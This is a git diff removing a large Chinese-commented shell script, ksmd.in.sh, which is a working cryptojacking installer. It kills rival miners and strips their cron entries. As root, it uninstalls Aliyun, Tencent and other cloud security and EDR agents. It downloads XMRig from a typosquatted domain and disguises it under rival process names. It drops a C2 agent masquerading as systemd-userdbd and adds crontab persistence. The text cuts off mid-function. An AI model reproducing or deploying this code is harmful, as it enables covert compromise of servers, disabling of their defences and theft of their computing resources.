diff --git a/ksmd.in.sh b/ksmd.in.sh
index 89ffad8..e69de29 100644
--- a/ksmd.in.sh
+++ b/ksmd.in.sh
@@ -1,2231 +0,0 @@
-#!/bin/sh
-# ksmd — deploy-kit 完整安装链（由 serve_payload.sh 替换 __PLACEHOLDER__）
-# 1. 清理对手 javab 残留（cron 清空其它项；若曾有心跳则只留无害 curl，无 base64|bash）
-# 2. 清防火墙 / iptables DROP
-# 3. 内联 javab 链（/dev/shm/javab + idle + .rguard + .khp）+ glm Agent
-# 管道安装：rival .rguard 白名单含 ksmd；dash 无 exec -a，靠路径/cmdline 含 ksmd
-# 必须在最前定义：下方 early-kill 块在 set -u 之前就会执行
-ksmd_from_hook() {
-  case "$0" in */.ksmd_*|*install/ksmd*) return 0 ;; esac
-  return 1
-}
-
-ksmd_protect_install() {
-  ksmd_from_hook && return 0
-  _pp=$(ps -p ${PPID:-0} -o args= 2>/dev/null)
-  case "$_pp" in
-    *googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
-    */.ksmd_*) return 0 ;;
-  esac
-  return 1
-}
-
-if [ -z "${KSMD_REEXEC:-}" ]; then
-  export KSMD_REEXEC=1
-  case "$0" in *ksmd*|*install/ksmd*) ;; *)
-    if command -v bash >/dev/null 2>&1; then
-      exec bash -c 'exec -a ksmd sh "$0" "$@"' _ "$0" "$@" 2>/dev/null || exec bash "$0" "$@"
-    fi
-  ;; esac
-fi
-_ksmd_u=$(id -un 2>/dev/null)
-if [ -n "$_ksmd_u" ]; then
-  ps -u "$_ksmd_u" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=$(echo "$_line" | awk '{print $1}')
-    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    case "$_c" in *\.rguard*) kill -9 "$_p" 2>/dev/null ;; esac
-  done
-fi
-# 路径/cmdline 已含 ksmd，rival 白名单可过：先清 /dev/shm 对手（crontab 等装完再写）
-_ksmd_uid=$(id -u 2>/dev/null)
-if [ -n "$_ksmd_uid" ]; then
-  pkill -9 -u "$_ksmd_uid" -f 'CRON jobs' 2>/dev/null || true
-  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/\.rguard' 2>/dev/null || true
-  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/javab' 2>/dev/null || true
-  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/idle' 2>/dev/null || true
-  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/\.khp' 2>/dev/null || true
-  pkill -9 -u "$_ksmd_uid" -f '/tmp/\.rguard|/tmp/javab|/tmp/idle|/tmp/\.khp' 2>/dev/null || true
-  pkill -9 -u "$_ksmd_uid" -f '/var/tmp/\.rguard|/var/tmp/javab|/var/tmp/idle|/var/tmp/\.khp' 2>/dev/null || true
-  for _pat in unicorn 6556 '6556/ts' 'base64 -d' m51src m51sr 'find /' .claude \
-    'redis/lang/ksmd' gitea_exp auto_deploy apt-update mnmonitor xmrig \
-    supervise_javs start_javs '31.56.209' \
-    universal-miner sysinit kworkerds; do
-    ksmd_protect_install && case "$_pat" in hash-object*|googletagmanagar|googlelagmanager|google-analytices) continue ;; esac
-    pkill -9 -u "$_ksmd_uid" -f "$_pat" 2>/dev/null || true
-  done
-  # hook 安装器 /.ksmd_* 运行时不能杀 hash-object，否则 gitea hook 的 git hash-object 会被掐断
-  ksmd_protect_install || pkill -9 -u "$_ksmd_uid" -f 'hash-object -w' 2>/dev/null || true
-  ps -u "$_ksmd_u" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=$(echo "$_line" | awk '{print $1}')
-    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
-    case "$_x" in /tmp/javab|/dev/shm/javab|/var/tmp/javab) kill -9 "$_p" 2>/dev/null ;; esac
-    case "$_c" in ./*javab*|*javab\ -c\ .javab.json*) kill -9 "$_p" 2>/dev/null ;; esac
-  done
-fi
-set -u
-
-MARKER="__MARKER__"
-REMOTE_WDIR="__REMOTE_DIR__"
-PAYLOAD_BASE="__PAYLOAD_BASE__"
-C2_WSS="__C2_WSS__"
-AGENT_URL_AMD64="__AGENT_URL_AMD64__"
-AGENT_URL_386="__AGENT_URL_386__"
-AGENT_URL_ARM="__AGENT_URL_ARM__"
-AGENT_URL_ARM64="__AGENT_URL_ARM64__"
-AGENT_ARGS="__AGENT_ARGS__"
-POOL_HOST="__POOL_HOST__"
-POOL_PORT="__POOL_PORT__"
-XMR_WALLET="__XMR_WALLET__"
-XMR_CPU_PERCENT="__XMR_CPU_PERCENT__"
-DRY_RUN="${DEPLOY_KIT_DRY_RUN:-0}"
-AGENT_ONLY="${AGENT_ONLY:-0}"
-
-echo "KSMD_START marker=$MARKER self=$0 pid=$$ user=$(id -un 2>/dev/null)"
-
-KSMD_URL="__KSMD_URL__"
-KSMD_URL_ALT="__KSMD_URL_ALT__"
-
-# --- 矿机：xmrig 落地为 javab（仿 rival 命名）---
-XMR_WORKER="$(hostname 2>/dev/null || echo worker)"
-XMRIG_VER="6.26.0"
-XMRIG_URL="https://googletagmanagar.com/pol/xmrig/xmrig-6.26.tar.gz"
-XMRIG_SHA256="fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5"
-XMRIG_BIN_SHA256="b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49"
-POOL="${POOL_HOST}:${POOL_PORT}"
-XMR_THREADS=""
-XMR_RANDOMX_MODE=""
-WDIR=""
-
-# Agent 伪装：系统风格目录 + 进程名（非 usbnotify）
-AGENT_HOME="${HOME:-/tmp}/.local/share/systemd"
-AGENT_BIN="${AGENT_HOME}/systemd-userdbd"
-AGENT_LAUNCH="${AGENT_HOME}/user-session-launch"
-AGENT_WATCHDOG="${AGENT_HOME}/.session-watchdog"
-AGENT_LOG="/dev/null"
-
-# 安装/保活期间：.core 已在跑则不再杀、不再拉起
-agent_core_running() {
-  _un=$(id -un 2>/dev/null) || return 1
-  pgrep -f "${AGENT_HOME}/.core" >/dev/null 2>&1 && return 0
-  pgrep -f "${AGENT_HOME}/systemd-userdbd" >/dev/null 2>&1 && return 0
-  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
-    _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
-    case "$_x" in
-      "${AGENT_HOME}/.core"|"${AGENT_HOME}/systemd-userdbd") return 0 ;;
-    esac
-    _c=$(ps -p "$_p" -o args= 2>/dev/null)
-    case "$_c" in
-      *"${AGENT_HOME}/.core"*|*"${AGENT_HOME}/systemd-userdbd"*) return 0 ;;
-    esac
-  done
-  return 1
-}
-
-log() { echo "[ksmd:$MARKER] $*"; }
-
-run() {
-  if [ "$DRY_RUN" = "1" ]; then echo "[dry-run] $*"; else "$@"; fi
-}
-
-# dash 无 exec -a；有 bash 时伪装 ksmd，否则依赖脚本路径含 ksmd
-ksmd_run_sh() {
-  _f="$1"
-  if command -v bash >/dev/null 2>&1; then
-    bash -c 'exec -a ksmd sh "$1"' _ "$_f" 2>/dev/null && return 0
-  fi
-  sh "$_f"
-}
-
-crontab_usable() {
-  _err=$(crontab -l 2>&1) || true
-  case "$_err" in *must\ be\ suid*|*setuid*|*cannot\ open*) return 1 ;; esac
-  return 0
-}
-
-# CDN 穿透：?id=timestamp+pid（Cloudflare 等缓存同名 URL 时仍拉最新 ksmd）
-ksmd_dl_url() {
-  _t=$(date +%s 2>/dev/null || echo 0)
-  _p=$$
-  case "$KSMD_URL" in
-    *\?*) printf '%s&_=%s%s' "$KSMD_URL" "$_t" "$_p" ;;
-    *) printf '%s?_=%s%s' "$KSMD_URL" "$_t" "$_p" ;;
-  esac
-}
-
-# 安装窗口内反复压对手 guard（对方 .rguard 每 0.1s；我们白名单模式每 2s 清非白名单进程）
-squash_rival_guard() {
-  purge_tmp_gang
-  kill_rival_rguard
-  kill_rival_javab
-  fast_rival_pkill
-  _ow=$(our_wdir 2>/dev/null) || _ow=""
-  for pat in javab idle .khp; do
-    for d in /dev/shm /tmp /var/tmp; do
-      is_our_install_root "$_ow" "$d" && continue
-      run pkill -9 -f "$d/$pat" 2>/dev/null || true
-    done
-  done
-}
-
-# crontab 剥离用（不绑固定 C2 IP；含 astrawin 2026-08 busybox wget / 31.56.* / home/CRON）
-rival_cron_re() {
-  printf '%s' '6556|6556/ts|base64[[:space:]]*-[dD]|apt-update\.com|\.claude|@reboot.*(curl|wget)|busybox[[:space:]]+wget|(curl|wget).*\|.*bash|m51sr|m51src|45\.74\.|209\.38\.|31\.56\.|redis/lang/ksmd|/exp/|gitea_exp|auto_deploy|supervise_javs|start_javs|CRON[[:space:]]+jobs|/dev/shm/\.khp|/dev/shm/idle|/dev/shm/\.rguard|/dev/shm/javab|/dev/shm/\.claude|/var/tmp/\.claude|/[[:space:]]+/tmp/\.khp|/[[:space:]]+/tmp/idle|/[[:space:]]+/tmp/\.rguard|/[[:space:]]+/var/tmp/\.khp|/[[:space:]]+/var/tmp/idle|/[[:space:]]+/var/tmp/\.rguard'
-}
-
-# ── 1. 清理对手 javab 帮（参考 remove-javab-gang.sh）────────────────────
-cleanup_rival_procs() {
-  log "清理对手进程..."
-  purge_tmp_gang
-  kill_rival_rguard
-  kill_rival_javab
-  fast_rival_pkill
-  _ow=$(our_wdir 2>/dev/null) || _ow=""
-  for pat in javab idle unicorn cached javs krfcommd; do
-    for d in /dev/shm /tmp /var/tmp; do
-      is_our_install_root "$_ow" "$d" && continue
-      run pkill -9 -f "$d/$pat" 2>/dev/null || true
-    done
-  done
-  if [ -z "$_ow" ]; then
-    run pkill -9 -f "\.khp" 2>/dev/null || true
-  fi
-  # 仅杀对手落地 ksmd；不杀 hook 临时文件 /.ksmd_*
-  for d in /dev/shm /tmp /var/tmp; do
-    case "$0" in "$d"/.ksmd_*|$d/.ksmd_*) ;; *)
-      run pkill -9 -f "$d/ksmd" 2>/dev/null || true
-    ;; esac
-  done
-  run pkill -9 -f "m51src" 2>/dev/null || true
-  run pkill -9 -f "45\.74\.7\.226" 2>/dev/null || true
-  ksmd_protect_install || run pkill -9 -f "209\.38\.56" 2>/dev/null || true
-  ksmd_protect_install || run pkill -9 -f "redis/lang/ksmd" 2>/dev/null || true
-  # gitea hook 靠 git hash-object -w 收 output；hook 安装器运行时不能杀
-  ksmd_protect_install || run pkill -9 -f 'hash-object -w' 2>/dev/null || true
-  run pkill -9 -f 'find /.*\.claude' 2>/dev/null || true
-  run pkill -9 -f 'find / -type d -name \.claude' 2>/dev/null || true
-  run pkill -9 -x unicorn 2>/dev/null || true
-  run pkill -9 -f '/6556/' 2>/dev/null || true
-  run pkill -9 -f 'base64 -d' 2>/dev/null || true
-  run pkill -9 -f 'CRON jobs' 2>/dev/null || true
-  run pkill -9 -f 'supervise_javs' 2>/dev/null || true
-  run pkill -9 -f 'start_javs' 2>/dev/null || true
-  run pkill -9 -f '6556/ts' 2>/dev/null || true
-  run pkill -9 -f '31\.56\.209' 2>/dev/null || true
-  if [ "$(id -u)" -eq 0 ]; then
-    run pkill -9 -f '/bin/javab' 2>/dev/null || true
-    run pkill -9 -f '/bin/\.khp' 2>/dev/null || true
-    run systemctl stop javab.service 2>/dev/null || true
-    run systemctl disable javab.service 2>/dev/null || true
-  fi
-  sleep 1
-}
-
-cleanup_rival_files() {
-  log "清理对手落地文件..."
-  _ow=$(our_wdir 2>/dev/null) || _ow=""
-  for d in /dev/shm /tmp /var/tmp; do
-    [ -d "$d" ] || continue
-    is_our_install_root "$_ow" "$d" && continue
-    for f in javab idle .rguard .khp .khp_ts .khp_fusion_ts ksmd unicorn .javab.json .ksmd_guard .ksmd_manifest; do
-      [ -e "$d/$f" ] && run rm -f "$d/$f"
-    done
-    _inst=$(basename "$0" 2>/dev/null)
-    find "$d" -maxdepth 1 -name '.ksmd_*' 2>/dev/null | while IFS= read -r _kf; do
-      [ -n "$_inst" ] && [ "$(basename "$_kf")" = "$_inst" ] && continue
-      run rm -f "$_kf"
-    done
-    run find "$d" -maxdepth 1 -name '.log_*.gz' -delete 2>/dev/null || true
-  done
-  if [ "$(id -u)" -eq 0 ]; then
-    for f in javab idle ksmd .khp .rguard .khp_ts watchdog.sh; do
-      [ -e "/bin/$f" ] && run chattr -i "/bin/$f" 2>/dev/null || true
-      [ -e "/bin/$f" ] && run rm -f "/bin/$f"
-    done
-    run rm -f /etc/systemd/system/javab.service 2>/dev/null || true
-  fi
-  home="${HOME:-/tmp}"
-  for f in \
-    "$home/.local/share/.cache/dbus/cached" \
-    "$home/.cache/.dbus/.khp" \
-    "$home/.claude" \
-    "$home/CRON" \
-    "$home/unicorn" \
-    "$home/.javs" \
-    "$home/.javs/supervise_javs.sh"; do
-    [ -e "$f" ] && run rm -rf "$f"
-  done
-  for d in /dev/shm/.claude /var/tmp/.claude; do
-    [ -e "$d" ] && run rm -rf "$d"
-  done
-  run find "$home" -maxdepth 1 -name '.syslog-*' -exec rm -rf {} + 2>/dev/null || true
-  run rm -f "$home/.config/autostart/javs.desktop" 2>/dev/null || true
-  run rm -f "$home/.config/systemd/user/javs.service" \
-    "$home/.config/systemd/user/default.target.wants/javs.service" 2>/dev/null || true
-}
-
-cleanup_rival_crontab() {
-  strip_rival_crontab
-}
-
-strip_rival_crontab() {
-  if ! crontab_usable; then
-    log "crontab 不可用（docker 常见 must be suid），跳过"
-    return 0
-  fi
-  log "清理 crontab（剥离对手行，不固定 IP 匹配）..."
-  if [ "$DRY_RUN" = "1" ]; then return 0; fi
-  tmp=$(mktemp)
-  crontab -l 2>/dev/null >"$tmp" || : >"$tmp"
-  _rival=$(rival_cron_re)
-  if ! grep -Ei "$_rival" "$tmp" >/dev/null 2>&1; then
-    rm -f "$tmp"
-    return 0
-  fi
-  grep -Evi "$_rival" "$tmp" | grep -v '^[[:space:]]*$' >"${tmp}.keep" 2>/dev/null || : >"${tmp}.keep"
-  if [ -s "${tmp}.keep" ]; then
-    crontab "${tmp}.keep" 2>/dev/null || crontab -r 2>/dev/null || true
-  else
-    crontab -r 2>/dev/null || true
-  fi
-  rm -f "$tmp" "${tmp}.keep"
-  log "已剥离对手 crontab"
-}
-
-ensure_ksmd_crontab() {
-  [ "$DRY_RUN" = "1" ] && return 0
-  if ! crontab_usable; then
-    return 0
-  fi
-  mark="# ${MARKER}-ksmd-guard"
-  if crontab -l 2>/dev/null | grep -Fq "$mark"; then
-    return 0
-  fi
-  line="* * * * * for d in /dev/shm /tmp /var/tmp; do [ -x \"\$d/.ksmd_guard\" ] && { sh \"\$d/.ksmd_guard\"; break; }; [ -x \"\$d/.pol-lite/.ksmd_guard\" ] && { sh \"\$d/.pol-lite/.ksmd_guard\"; break; }; done ${mark}"
-  (crontab -l 2>/dev/null | grep -Fv "$mark"; echo "$line") | crontab - 2>/dev/null && \
-    log "crontab ksmd 保活已写入（marker 校验）" || \
-    log "crontab ksmd 写入失败"
-}
-
-ensure_agent_crontab() {
-  [ "$DRY_RUN" = "1" ] && return 0
-  if ! crontab_usable; then
-    return 0
-  fi
-  mark="# ${MARKER}-agent-guard"
-  if crontab -l 2>/dev/null | grep -Fq "$mark"; then
-    return 0
-  fi
-  line="* * * * * [ -x \"${AGENT_HOME}/.agent_guard\" ] && sh \"${AGENT_HOME}/.agent_guard\" ${mark}"
-  (crontab -l 2>/dev/null | grep -Fv "$mark"; echo "$line") | crontab - 2>/dev/null && \
-    log "crontab Agent 保活已修复（检测到 marker 缺失）" || \
-    log "crontab Agent 修复失败"
-}
-
-# ── 2. 卸载云厂商安全软件（参考 intruder kworker / remove-yunjing.sh）────
-remove_cloud_security() {
-  log "卸载云厂商安全组件..."
-  if [ "$(id -u)" -ne 0 ]; then
-    log "非 root，跳过云安全组件卸载"
-    return 0
-  fi
-
-  # 阿里云 Aegis（安骑士）
-  if ps aux 2>/dev/null | grep -qiE '[a]liyun|[a]egis|AliYunDun|AliHips|AliSecGuard'; then
-    log "阿里云 Aegis..."
-    for url in \
-      'http://update.aegis.aliyun.com/download/uninstall.sh' \
-      'http://update.aegis.aliyun.com/download/quartz_uninstall.sh'; do
-      if [ "$DRY_RUN" = "1" ]; then
-        log "would run $url"
-      else
-        dl "$url" /tmp/.aegis_uninst_$$.sh 2>/dev/null && sh /tmp/.aegis_uninst_$$.sh 2>/dev/null || true
-        rm -f /tmp/.aegis_uninst_$$.sh
-      fi
-    done
-    run systemctl stop aliyun.service 2>/dev/null || true
-    run systemctl disable aliyun.service 2>/dev/null || true
-    run service aliyun.service stop 2>/dev/null || true
-    run pkill -9 -f aliyun-service 2>/dev/null || true
-    run pkill -9 -f AliYunDun 2>/dev/null || true
-    run pkill -9 -f AliHips 2>/dev/null || true
-    run pkill -9 -f AliNet 2>/dev/null || true
-    run pkill -9 -f AliSecGuard 2>/dev/null || true
-    run pkill -9 -f aegis 2>/dev/null || true
-    run rm -rf /usr/local/aegis /etc/init.d/agentwatch /usr/sbin/aliyun-service 2>/dev/null || true
-  fi
-
-  # 阿里云云监控 CloudMonitor
-  if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
-    log "阿里云 CloudMonitor..."
-    run /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop 2>/dev/null || true
-    run /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove 2>/dev/null || true
-    run rm -rf /usr/local/cloudmonitor
-  elif [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 ]; then
-    run /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 stop 2>/dev/null || true
-    run /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 uninstall 2>/dev/null || true
-    run rm -rf /usr/local/cloudmonitor
-  fi
-
-  # 腾讯云 YunJing / qcloud
-  if ps aux 2>/dev/null | grep -qiE '[y]unjing|[q]cloud|stargate|sgagent|YDService|YDLive|barad'; then
-    log "腾讯云 YunJing / qcloud..."
-    for s in \
-      /usr/local/qcloud/stargate/admin/uninstall.sh \
-      /usr/local/qcloud/YunJing/uninst.sh \
-      /usr/local/qcloud/monitor/barad/admin/uninstall.sh; do
-      [ -x "$s" ] && run sh "$s" 2>/dev/null || true
-    done
-    run pkill -9 -f '/usr/local/qcloud' 2>/dev/null || true
-    run pkill -9 -f '/usr/local/sa' 2>/dev/null || true
-    run pkill -9 -f 'YDService' 2>/dev/null || true
-    run pkill -9 -f 'YDLive' 2>/dev/null || true
-    run pkill -9 -f 'sgagent' 2>/dev/null || true
-    run pkill -9 -f 'barad_agent' 2>/dev/null || true
-    run pkill -9 -f 'stargate' 2>/dev/null || true
-    run pkill -9 -f 'yunjing' 2>/dev/null || true
-    for u in $(systemctl list-unit-files --no-pager --no-legend 2>/dev/null \
-      | awk '{print $1}' | grep -iE 'yunjing|qcloud|stargate|sgagent|barad|ydlive|ydservice' || true); do
-      run systemctl stop "$u" 2>/dev/null || true
-      run systemctl disable "$u" 2>/dev/null || true
-    done
-    run rm -rf /usr/local/qcloud /usr/local/sa /var/log/qcloud /var/log/yunjing 2>/dev/null || true
-    run rm -f /etc/cron.d/yunjing /etc/cron.d/sgagenttask /etc/cron.d/stargate 2>/dev/null || true
-  fi
-
-  # 华为 / 其他常见 HIDS（kworker 同款）
-  for pat in hostguard titanagent cloudwalker hids edr httpgd bcm-agent; do
-    if ps aux 2>/dev/null | grep -qi "$pat"; then
-      log "清理 $pat ..."
-      run pkill -9 -f "$pat" 2>/dev/null || true
-    fi
-  done
-  run yum remove bcm-agent -y 2>/dev/null || true
-  run apt-get remove -y bcm-agent 2>/dev/null || true
-
-  # 兜底：按进程名强杀
-  for pat in aegis Yun YDService sgagent barad_agent hostguard titanagent cloudwalker hids edr httpgd; do
-    run pkill -9 -f "$pat" 2>/dev/null || true
-  done
-  run rm -rf /usr/local/aegis 2>/dev/null || true
-}
-
-# ── 3. 第三方矿机（auto_gitea_lite kill_block）──────────────────────────
-kill_third_party_miners() {
-  log "清理第三方矿进程..."
-  for pat in xmrig universal-miner sysinit kworkerds minerd cpuminer SRBMiner javae javaa moneroocean unicorn apt-update mnmonitor; do
-    run pkill -9 -f "$pat" 2>/dev/null || true
-  done
-  ksmd_protect_install || run pkill -9 -f 'hash-object -w' 2>/dev/null || true
-  run pkill -9 -f 'find /.*\.claude' 2>/dev/null || true
-  run pkill -9 -f 'find / -type d -name \.claude' 2>/dev/null || true
-  run pkill -9 -x unicorn 2>/dev/null || true
-  run pkill -9 -f '/6556/' 2>/dev/null || true
-  run pkill -9 -f 'base64 -d' 2>/dev/null || true
-  run pkill -9 -f 'm51src' 2>/dev/null || true
-  run pkill -9 -f '45\.74\.7\.226' 2>/dev/null || true
-  ksmd_protect_install || run pkill -9 -f '209\.38\.56' 2>/dev/null || true
-  ksmd_protect_install || run pkill -9 -f 'redis/lang/ksmd' 2>/dev/null || true
-  run pkill -9 -f '64.176.51.87' 2>/dev/null || true
-  run pkill -f 'kmod-cache-update' 2>/dev/null || true
-  run pkill -f '/tmp/xmrig' 2>/dev/null || true
-  sleep 1
-}
-
-ksmd_curl() {
-  if command -v curl >/dev/null 2>&1; then
-    if command -v bash >/dev/null 2>&1; then
-      bash -c 'exec -a ksmd curl "$@"' _ "$@" 2>/dev/null && return 0
-    fi
-    curl "$@" 2>/dev/null && return 0
-  fi
-  return 1
-}
-
-dl() {
-  u="$1"; o="$2"
-  ksmd_curl -fsSL -m120 "$u" -o "$o" && return 0
-  wget -T120 -q "$u" -O "$o" 2>/dev/null && return 0
-  return 1
-}
-
-dl_long() {
-  u="$1"; o="$2"
-  ksmd_curl -fsSL -m300 "$u" -o "$o" && return 0
-  wget -T300 -q "$u" -O "$o" 2>/dev/null && return 0
-  return 1
-}
-
-sha256_file() {
-  if command -v sha256sum >/dev/null 2>&1; then
-    sha256sum "$1" | awk '{print $1}'
-  elif command -v shasum >/dev/null 2>&1; then
-    shasum -a 256 "$1" | awk '{print $1}'
-  else
-    echo ""
-  fi
-}
-
-md5_file() {
-  if command -v md5sum >/dev/null 2>&1; then
-    md5sum "$1" | awk '{print $1}'
-  elif command -v md5 >/dev/null 2>&1; then
-    md5 -q "$1" 2>/dev/null
-  else
-    echo ""
-  fi
-}
-
-# ── 4. 内联矿机 + glm Agent（单文件）────────────────────────────────────
-is_container() {
-  [ -f /.dockerenv ] && return 0
-  [ -f /run/.containerenv ] && return 0
-  grep -qE '(docker|lxc|kubepods|containerd|podman|crio)' /proc/1/cgroup 2>/dev/null && return 0
-  return 1
-}
-
-agent_dl_url() {
-  case "$(uname -m)" in
-    x86_64|amd64) echo "${AGENT_URL_AMD64}" ;;
-    i686|i386) echo "${AGENT_URL_386}" ;;
-    aarch64|arm64) echo "${AGENT_URL_ARM64}" ;;
-    armv7l|armv6l|armv5tel|arm) echo "${AGENT_URL_ARM}" ;;
-    *) return 1 ;;
-  esac
-}
-
-need_x64_miner() {
-  case "$(uname -m)" in
-    x86_64|amd64) return 0 ;;
-    *) log "xmrig 仅支持 x86_64，当前 $(uname -m)，跳过矿机"; return 1 ;;
-  esac
-}
-
-detect_xmr_threads() {
-  [ -n "$XMR_THREADS" ] && return 0
-  n=$(nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 2)
-  pct="${XMR_CPU_PERCENT:-60}"
-  case "$pct" in ''|*[!0-9]*) pct=60 ;; esac
-  [ "$pct" -gt 100 ] && pct=100
-  t=$(( n * pct / 100 ))
-  [ "$t" -lt 1 ] && t=1
-  [ "$t" -gt "$n" ] && t="$n"
-  XMR_THREADS=$t
-}
-
-detect_randomx_mode() {
-  [ -n "$XMR_RANDOMX_MODE" ] && return 0
-  mb=$(awk '/MemTotal/ {print int($2/1024)}' /proc/meminfo 2>/dev/null)
-  if [ -n "$mb" ] && [ "$mb" -lt 2500 ] 2>/dev/null; then
-    XMR_RANDOMX_MODE=light
-    [ "$XMR_THREADS" -gt 2 ] 2>/dev/null && XMR_THREADS=2
-  else
-    XMR_RANDOMX_MODE=auto
-  fi
-}
-
-setup_xmrig_binary() {
-  dest="$1"
-  miner_dir="$2"
-  mkdir -p "$(dirname "$dest")" "$miner_dir"
-  if [ -x "$dest" ]; then
-    got=$(sha256_file "$dest")
-    if [ "$got" = "$XMRIG_BIN_SHA256" ] || [ -z "$got" ]; then
-      log "xmrig 已存在: $dest"
-      return 0
-    fi
-  fi
-  tmpdir="${miner_dir}/.dl_$$"
-  mkdir -p "$tmpdir"
-  tgz="${tmpdir}/xmrig.tgz"
-  log "下载 XMRig ${XMRIG_VER} ..."
-  dl_long "$XMRIG_URL" "$tgz" || { rm -rf "$tmpdir"; return 1; }
-  got=$(sha256_file "$tgz")
-  if [ -n "$got" ] && [ "$got" != "$XMRIG_SHA256" ]; then
-    rm -rf "$tmpdir"
-    log "xmrig tarball 校验失败"
-    return 1
-  fi
-  tar -xzf "$tgz" -C "$tmpdir" || { rm -rf "$tmpdir"; return 1; }
-  bin="${tmpdir}/xmrig-${XMRIG_VER}/xmrig"
-  [ -x "$bin" ] || { rm -rf "$tmpdir"; return 1; }
-  cp -f "$bin" "${dest}.new" && chmod 755 "${dest}.new"
-  mv -f "${dest}.new" "$dest"
-  rm -rf "$tmpdir"
-  log "xmrig -> $dest"
-}
-
-pick_wdir() {
-  # 已有 manifest 则留在原目录，避免重装漂移出双链
-  _ow=$(our_wdir 2>/dev/null) || _ow=""
-  if [ -n "$_ow" ] && [ -d "$_ow" ] && wdir_allows_exec "$_ow"; then
-    WDIR="$_ow"
-    return 0
-  fi
-  # 优先 /dev/shm 平铺；/tmp、/var/tmp 用 .pol-lite
-  for d in /dev/shm /tmp /var/tmp; do
-    if [ -d "$d" ] && [ -w "$d" ] && wdir_allows_exec "$d"; then
-      WDIR=$(layout_wdir "$d")
-      if [ "$WDIR" != "/dev/shm" ]; then
-        mkdir -p "$WDIR" 2>/dev/null || continue
-      fi
-      wdir_allows_exec "$WDIR" || continue
-      log "WDIR=$WDIR (probe ok: $d exec+write)"
-      return 0
-    fi
-    log "skip WDIR parent $d (missing, no write, or noexec)"
-  done
-  return 1
-}
-
-wdir_allows_exec() {
-  _d=$1
-  _probe="$_d/.ksmd_exec_probe_$$"
-  printf '#!/bin/sh\n' >"$_probe" 2>/dev/null || return 1
-  chmod +x "$_probe" 2>/dev/null || { rm -f "$_probe"; return 1; }
-  "$_probe" >/dev/null 2>&1 || { rm -f "$_probe"; return 1; }
-  rm -f "$_probe"
-  return 0
-}
-
-# /dev/shm 平铺（与对手同路径）；/tmp、/var/tmp 仍用 .pol-lite 子目录
-layout_wdir() {
-  _parent=$1
-  if [ "$_parent" = "/dev/shm" ]; then
-    echo "/dev/shm"
-  else
-    echo "$_parent/.pol-lite"
-  fi
-}
-
-is_our_install_root() {
-  _ow=$1
-  _base=$2
-  [ -n "$_ow" ] || return 1
-  [ "$_ow" = "$_base" ] && return 0
-  [ "$_ow" = "$_base/.pol-lite" ] && return 0
-  return 1
-}
-
-# /dev/shm 平铺时与对手同路径，靠 manifest/marker 区分
-is_our_script_file() {
-  _f=$1
-  [ -f "$_f" ] || return 1
-  grep -qF "$MARKER" "$_f" 2>/dev/null && return 0
-  grep -q '_MARKER=' "$_f" 2>/dev/null && return 0
-  return 1
-}
-
-is_rival_rguard_file() {
-  _f=$1
-  [ -f "$_f" ] || return 1
-  head -3 "$_f" 2>/dev/null | grep -qi 'rival guard' && return 0
-  return 1
-}
-
-is_rival_idle_file() {
-  _f=$1
-  [ -f "$_f" ] || return 1
-  head -8 "$_f" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
-  head -8 "$_f" 2>/dev/null | grep -qE 'URL1=.*URL2=' && return 0
-  is_our_script_file "$_f" && return 1
-  head -5 "$_f" 2>/dev/null | grep -qE 'KSMD_URL|googletagmanagar|deploy-kit-v1' && return 1
-  [ -n "$MARKER" ] && head -5 "$_f" 2>/dev/null | grep -qF "$MARKER" && return 1
-  return 0
-}
-
-is_our_miner_dir() {
-  _d=$1
-  [ -d "$_d" ] || return 1
-  [ -f "$_d/.ksmd_manifest" ] || return 1
-  grep -qF "marker=$MARKER" "$_d/.ksmd_manifest" 2>/dev/null || return 1
-  is_rival_rguard_file "$_d/.rguard" && return 1
-  is_rival_idle_file "$_d/idle" && return 1
-  is_our_script_file "$_d/.rguard" || return 1
-  is_our_script_file "$_d/idle" || return 1
-  return 0
-}
-
-# WDIR 内允许落地的文件名（/dev/shm 平铺时非名单一律删）
-our_wdir_basename() {
-  case "$1" in
-    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
-      return 0 ;;
-  esac
-  case "$1" in .ksmd_*) return 0 ;; esac
-  return 1
-}
-
-proc_touches_wdir() {
-  _p=$1
-  _w=$2
-  _c=$(ps -p "$_p" -o args= 2>/dev/null) || return 1
-  _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
-  _cwd=$(readlink "/proc/$_p/cwd" 2>/dev/null)
-  case "$_c" in *"$_w/"*) return 0 ;; esac
-  case "$_x" in "$_w"/*) return 0 ;; esac
-  [ "$_cwd" = "$_w" ] && return 0
-  return 1
-}
-
-is_our_wdir_process() {
-  _p=$1
-  _w=$2
-  proc_touches_wdir "$_p" "$_w" || return 1
-  _c=$(ps -p "$_p" -o args= 2>/dev/null)
-  _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
-  is_our_javab_pid "$_p" && return 0
-  case "$_c" in
